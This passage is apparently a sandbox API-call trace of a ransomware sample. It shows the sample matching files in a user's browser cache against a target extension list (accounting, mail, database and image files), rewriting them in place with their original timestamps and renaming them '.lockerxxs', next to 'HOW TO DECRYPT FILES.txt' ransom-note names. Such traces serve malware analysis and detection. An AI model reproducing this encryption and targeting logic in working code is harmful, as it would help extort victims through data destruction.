(lpString="*.qbw") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qbb") returned 0 [0084.425] lstrlenA (lpString="*.qbb") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qbm") returned 0 [0084.425] lstrlenA (lpString="*.qbm") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qbo") returned 0 [0084.425] lstrlenA (lpString="*.qbo") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qbx") returned 0 [0084.425] lstrlenA (lpString="*.qbx") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qba") returned 0 [0084.425] lstrlenA (lpString="*.qba") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qby") returned 0 [0084.425] lstrlenA (lpString="*.qby") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qbj") returned 0 [0084.425] lstrlenA (lpString="*.qbj") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.ofx") returned 0 [0084.425] lstrlenA (lpString="*.ofx") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qif") returned 0 [0084.425] lstrlenA (lpString="*.qif") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.mye") returned 0 [0084.426] lstrlenA (lpString="*.mye") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.mbox") returned 0 [0084.426] lstrlenA (lpString="*.mbox") returned 6 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.eml") returned 0 [0084.426] lstrlenA (lpString="*.eml") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.pst") returned 0 [0084.426] lstrlenA (lpString="*.pst") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.ost") returned 0 [0084.426] lstrlenA (lpString="*.ost") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.idx") returned 0 [0084.426] lstrlenA (lpString="*.idx") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.dbx") returned 0 [0084.426] lstrlenA (lpString="*.dbx") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.sql") returned 0 [0084.426] lstrlenA (lpString="*.sql") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.mdb") returned 0 [0084.426] lstrlenA (lpString="*.mdb") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.fdb") returned 0 [0084.426] lstrlenA (lpString="*.fdb") returned 5 [0084.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.wab") returned 0 [0084.426] lstrlenA (lpString="*.wab") returned 5 [0084.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.dat") returned 0 [0084.427] lstrlenA (lpString="*.dat") returned 5 [0084.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.txt") returned 0 [0084.427] lstrlenA (lpString="*.txt") returned 5 [0084.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.jpeg") returned 0 [0084.427] lstrlenA (lpString="*.jpeg") returned 6 [0084.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.jpg") returned 1 [0084.427] lstrlenA (lpString="*.jpg") returned 5 [0084.427] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" [0084.427] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" [0084.427] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg." [0084.427] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.lockerxxs" [0084.427] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.428] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2d32 [0084.428] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45b042f0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45b042f0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b042f0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.428] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.428] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2d0c, lpOverlapped=0x0) returned 1 [0084.430] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg") returned="BBEf6s4[1].jpg" [0084.430] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.431] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2d0c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2d0c, lpOverlapped=0x0) returned 1 [0084.431] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.431] CloseHandle (hObject=0xa4) returned 1 [0084.431] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg.lockerxxs")) returned 1 [0084.432] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b2a450, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b2a450, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b2a450, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x85d, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfAc5[1].jpg", cAlternateFileName="BBEFAC~1.JPG")) returned 1 [0084.432] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.432] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfAc5[1].jpg") returned 1 [0084.432] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfAc5[1].jpg") returned 1 [0084.432] lstrcmpiA (lpString1="", lpString2="BBEfAc5[1].jpg") returned -1 [0084.432] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg") returned="BBEf6s4[1].jpg" [0084.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.432] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.432] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.432] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.432] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfAc5[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.ems") returned 0 [0084.433] lstrlenA (lpString="*.ems") returned 5 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.db") returned 0 [0084.433] lstrlenA (lpString="*.db") returned 4 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.dbf") returned 0 [0084.433] lstrlenA (lpString="*.dbf") returned 5 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.myox") returned 0 [0084.433] lstrlenA (lpString="*.myox") returned 6 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.myo") returned 0 [0084.433] lstrlenA (lpString="*.myo") returned 5 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qbw") returned 0 [0084.433] lstrlenA (lpString="*.qbw") returned 5 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qbb") returned 0 [0084.433] lstrlenA (lpString="*.qbb") returned 5 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qbm") returned 0 [0084.433] lstrlenA (lpString="*.qbm") returned 5 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qbo") returned 0 [0084.433] lstrlenA (lpString="*.qbo") returned 5 [0084.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qbx") returned 0 [0084.433] lstrlenA (lpString="*.qbx") returned 5 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qba") returned 0 [0084.434] lstrlenA (lpString="*.qba") returned 5 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qby") returned 0 [0084.434] lstrlenA (lpString="*.qby") returned 5 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qbj") returned 0 [0084.434] lstrlenA (lpString="*.qbj") returned 5 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.ofx") returned 0 [0084.434] lstrlenA (lpString="*.ofx") returned 5 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.qif") returned 0 [0084.434] lstrlenA (lpString="*.qif") returned 5 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.mye") returned 0 [0084.434] lstrlenA (lpString="*.mye") returned 5 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.mbox") returned 0 [0084.434] lstrlenA (lpString="*.mbox") returned 6 [0084.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.eml") returned 0 [0084.435] lstrlenA (lpString="*.eml") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.pst") returned 0 [0084.435] lstrlenA (lpString="*.pst") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.ost") returned 0 [0084.435] lstrlenA (lpString="*.ost") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.idx") returned 0 [0084.435] lstrlenA (lpString="*.idx") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.dbx") returned 0 [0084.435] lstrlenA (lpString="*.dbx") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.sql") returned 0 [0084.435] lstrlenA (lpString="*.sql") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.mdb") returned 0 [0084.435] lstrlenA (lpString="*.mdb") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.fdb") returned 0 [0084.435] lstrlenA (lpString="*.fdb") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.wab") returned 0 [0084.435] lstrlenA (lpString="*.wab") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.dat") returned 0 [0084.435] lstrlenA (lpString="*.dat") returned 5 [0084.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.txt") returned 0 [0084.436] lstrlenA (lpString="*.txt") returned 5 [0084.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.jpeg") returned 0 [0084.436] lstrlenA (lpString="*.jpeg") returned 6 [0084.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", pszSpec="*.jpg") returned 1 [0084.436] lstrlenA (lpString="*.jpg") returned 5 [0084.436] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" [0084.436] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" [0084.436] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg." [0084.436] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 